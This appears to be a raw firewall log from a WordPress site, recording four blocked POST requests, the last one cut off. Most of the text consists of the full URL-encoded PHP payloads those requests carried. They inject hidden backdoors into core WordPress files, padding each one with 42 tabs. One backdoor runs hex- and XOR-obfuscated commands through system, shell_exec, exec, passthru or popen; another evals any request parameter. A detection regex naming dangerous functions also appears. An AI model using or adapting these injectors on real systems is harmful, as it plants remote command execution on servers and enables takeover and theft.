["2026-05-12 13:40:57","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:5377\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nHW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:41:07","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5400\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:41:15","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ht:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2026\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nht=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:41:19","107.155.87.193","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-site.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527FXGiKp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ 